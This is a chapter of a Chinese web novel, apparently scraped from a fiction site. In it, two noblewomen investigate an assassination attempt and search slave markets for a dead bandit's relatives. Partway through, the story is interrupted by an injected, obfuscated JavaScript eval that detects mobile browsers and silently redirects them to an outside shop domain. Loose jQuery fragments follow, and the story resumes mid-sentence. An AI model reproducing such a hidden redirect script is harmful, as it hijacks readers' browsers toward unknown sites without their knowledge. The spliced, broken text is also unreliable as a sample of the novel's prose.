文趣网 > 其他小说 > 世家小姐的复仇日常 > 291. 第 291 章
    翌日大朝会,依制江祁亦得上朝参拜,然他却丝毫不提于府中遇刺一事,朝局风平浪静。

    因府衙要勘验现场之故,江祁早早安排了送江萱回家。

    江萱不置可否,趁着年关还有一月,早早归了江宅。

    裴氏见她归家,于外人面前抑制住心中好奇,笑着把江萱迎入府内。

    等箱笼都收拾完毕,裴氏打发了身边人出去,拉着江萱坐下,姑嫂二人说起了悄悄话。

    “这离年关还有一个月呢,怎么提早回来了?是姑爷给你气受了?”裴氏打量着江萱的神色,见她脸色不好,便往夫妻间的事想起。

    江萱见裴氏想岔了,赶忙道:“他哪里敢给我气受,只是家里头不太平。”

    说着,便将昨日夜半刺客入门的事说与裴氏听。

    裴氏听了后忍不住皱眉:“天子脚下,竟出了这等事,还有没有王法了?报京兆府了没有?”

    “报了报了,这不是京兆府县尉上门查案,如今正在家里勘验呢,我这才躲了出来。”江萱忙不迭道。

    裴氏闻言点点头,又像是想到什么,追问道:“刺客是何人指派,你们夫妇二人心中可有猜测?”

    江萱虽不如江祁那样胸有成竹,心中却也有个大概范围,便把江祁当时办地方贼首案时发现的其他罪状一并与裴氏说了。

    裴氏听后心惊不已,未曾想那桩谋逆案背后牵扯这许多,不多时便冷静下来。

    “依你所言,那刺客背后操纵之人大抵是不想让你们将那些罪状公之于众,这才起了杀人灭口的心思。”

    裴氏见多识广,自然一眼识破这幕后之人所思所想,且她见多识广,在这件事上比江萱想得深远许多。

    “这件事你们夫妇还是不要参与了,这里头牵涉的朝臣世家不在少数。本来姑爷就因上回的事得罪了不少人家,如今再顺藤摸瓜查下去,结局未毕能如你们夫妇二人所愿不提,恐怕你们两人都折进去。”

    江萱如何听不出裴氏的阻拦,然她却笑道:

    “郎君如何不知道这件事背后阻力重重。只是他说,人生在世未毕能事事如愿,若能将眼前事推进一星半点,为黎民百姓拨一点亮光,便也是值得的。”

    “那你的意思呢?”裴氏看着眼前长开了的少女,问道。

    江萱迎上裴氏疑问的眼神,目光清明道:“君心似我心。”

    裴氏见她执意坚持,也不好再劝,便将月华居收拾妥当,好叫江萱夫妻二人住进去。

    正好硕哥儿兄妹三人来给裴氏请安,安安年幼,见了江萱就要她抱。

    江萱满怀笑意地把安安抱在怀中,小小人儿往怀中一坐,江萱整颗心都软了下来。

    裴氏满脸慈爱地看着安安,又说起江二郎与陈氏的事来:“前些日子弟妹来信,说是身上有三个月身孕了。”

    江萱轻呀一声,被这突如其来地消息惊了个措手不及,面上洋溢着喜色:“那我赶紧写信一封给二嫂嫂送去。”

    见江萱如此欢喜,裴氏眉目间也添了份喜色:“一时倒也不急。鲁阳府到底不必京中,弟妹身边无人照料,央我选个会照顾妇人生产的婆子过去。到时把你的信一并捎上就是。”

    坐在怀中的安安见江萱只顾着与裴氏说话,立时不高兴了,哭嚎着把江萱的注意力吸引回来。

    江萱到底没生过孩子,哄起小孩来不免手忙脚乱,还是一旁的乳娘接过安安,才哄住了这位小祖宗的哭声。

    裴氏见江萱的目光一直落在安安身上,忍不住打趣道:“等这些事了了,让姑爷寻个外放的差事,你俩也能共享天伦之乐了。”

    江萱至今都未与江祁圆房,听了裴氏的打趣,面上不由一红,扯着手帕道:“嫂嫂说什么呢,我听不懂。”

    //

    府衙的人在宅院中来来去去好几回,却始终调差不出个所以然。

    江萱倒也不急,兀自与裴氏品茶参宴。

    盖因那供词中写了那贼首妻妹将送入京城伺候贵人,江萱便委托默尹问一问她在平康坊的姐妹又无这二人消息。

    默尹在平康坊的时日不算短,与平康坊中的姐妹们相处融洽,江萱又许以重金,很快便有了消息。

    平康坊中月月有新人来,只是出身荆州、襄阳的却没几个,都是没长成的女娃。

    倒是那西市近来买卖不少奴隶,或许有她二人的踪迹。

    只是江萱没见过那二位娘子,即便是出现在眼前也不一定认得,一时间陷入愁绪。

    且江萱一个不怎么爱出门的小娘子,忽转了性子频繁出入西市,落在背后操控之人眼中反倒是打草惊蛇。

    裴氏见状,倒有一计,对外称年关将至,又要给府中小娘子办周岁宴,府里下人不足,命人取名帖往西市一说道,不多时便有好几家上门,问江宅要不要人。

    裴氏早早嘱咐管事,领进来的人要他先验过一遍,最好是出生荆襄二地的,会做些地方小食。

    只因裴氏进来饮食没什么胃口,唯荆象二地的食物能吃下去些。

    管事就这样筛了几轮,领到裴氏与江萱面前的也有十来人。

    江萱虽不知那贼首妻女长何样貌,只是能引小吏争夺的女子,样貌定然出众。

    然江萱粗粗扫一眼过去,见都是相貌朴素之人,便朝裴氏摇摇头。

    “就这些人吗?”裴氏坐在椅上,朝那人伢看去,

    人伢子脸上陪着笑:“不知娘子想要什么样的人?我好去寻。”

    裴氏拿茶盖轻轻拨开茶沫,一旁的秀云代她开了口:“我家小娘子喜欢漂亮的。”

    那人伢子脸上的表情一僵,不由暗自嘀咕了一声,只觉得这家人奇怪,面上却陪笑。

    “娘子有所不知,这伺候小娘子的人样貌周正就好,不必太过艳丽,否则叫家里的主君看去了怕不好。”

    秀云睨了她一眼,呵道:“我说什么你做什么便是。”

    那人伢子也是个人精,见惹恼了主家连连道不是:“便依您所言,我这就去寻些好看的人来。”

    果不其然,过了几日,那人伢子再度上门,这次带的人比上次少了不少,却是个顶个的出挑。

    江萱扫了一眼,一时间也分辨不得哪个可能是那贼首的妻妹,便递了个眼神给竹沁。

    “你们谁会做梳子肉?”

    这是那贼首上刑台前心心念念所想的一道美食。

    那些个女奴你看看我,我看看你,面面相觑。

    其实倒是有一二个自告奋勇,去厨房做一碗梳子肉。

    江萱不大爱吃肥的,用了一块便放下了筷子,抬眸看向裴氏。

    裴氏点了头,把这俩人留了下来,签字画押后把人伢子送出了门。

    不过裴氏没有立马给她二人安排伙计,只叫人把她二人引到一处厢房

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682810|203676||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,由裴氏与江萱一并问道。

    “你们谁襄阳县风林乡的?”江萱也不欲和她们二人绕弯子,直话直说道。

    她二人皆摇摇头,江萱眼底不由闪过一丝失望。

    其中一人忽地跪下,叩首道:“奴的家乡就在风林乡边上的桃源村,请娘子吩咐。”

    江萱眼眸一亮,忽地坐起身:“那你可知前些时日斩首那贼寇的妻妹长什么样子吗?”

    那人接着道:“奴家乡倒是有人与风林乡的人通婚,只是不知那贼寇姓甚名谁,奴许是认得。”

    “姓林,单名一个慎字。”

    那人思索半晌,还是摇摇头:“奴并不认得这人,更别说他的妻妹了。”

    好不容易见到些希望,却还是破碎,江萱眼底的光不由沉寂下去,意兴阑珊地摆摆手,叫人令她们到后院做活。

    那人想在江萱与裴氏面前留个好印象,急着出头,忙叩首道:“奴虽不知这俩娘子长什么样子,但与西市之中另有买卖人处,只是不与对寻常人家开放,买卖对象也多是府中的老少爷们。”

    这话果不其然吸引了江萱的注意,只见她朝那人看去,扬了扬下巴:“继续说。”

    那人咽了口唾沫,接着道:“听说那人伢子手上都是些漂亮物件,专攻京中贵人消遣。且那些女子的来历早被人抹除干净,即便是死了也没有身份,无后顾之忧。”

    江萱扫了她一眼,眯着眼追问道:“你怎么知道的这么清楚?”

    “奴从前险些被选入那人手中,幸而得如今的人伢解救,这才知晓一星半点。”那女奴脸上闪过一丝悲戚。

    江萱见她情绪不似作伪,便嘱咐她好好在府中当差,说不定能有赎身一日。

    那女奴得了江萱许诺,眼底不由亮了,忙不迭朝江萱叩首感恩。

    江萱没有管后面的事,只交管家寻个由头把先前那人伢子再寻回来一趟。

    那人伢子匆匆赶来,以为是江家卖下的人有什么不妥,却见江萱神色淡淡问起那私贩人伢的事来。

    人伢子脸上一僵,尴尬道:“娘子,作我们这行的,最忌讳把同行消息告诉他人,您也别为难我……”

    江萱学着裴氏清了清浮沫,淡淡道:“我知道你们的规矩,便也只问你一句,怎么那人搭上干系?”

    “这……”

    那人伢还犹豫不觉,倒是江萱先命人捧了两块金饼,徐徐道:“你若是肯告诉我,这两块金饼你且收下,如若不然……做你们这行的背后都有主子,你们私底下吞了多少,敢叫你们主子知晓吗?”

    那人伢子一抖,她自然知道自己帐上有多不干净,且以江萱的身份碾死她和碾死一个蚂蚁没什么区别,自家主子也不一定愿意为了她和江萱较劲,赶忙跪下求饶。

    “娘子恕罪,娘子恕罪。”

    小枣怒目看去,威胁道:“那还不从实招来?”

    “是。”

    说着,那人伢子便将联络私贩的手段告之江萱。

    原是那私贩从不接待女客,非要高门显贵郎君的名帖才肯约定地点,与郎君见上一面。

    见她从实招来,江萱也不为难,令人把那两块金饼塞到她怀中。

    那沉甸甸的金饼摸着烫手,那人伢子看了一眼江萱,忍不住道:“娘子,我们这种做正经买卖的自然看不上这种人,只是这人背后的主人很是厉害,娘子还是当心着些吧。”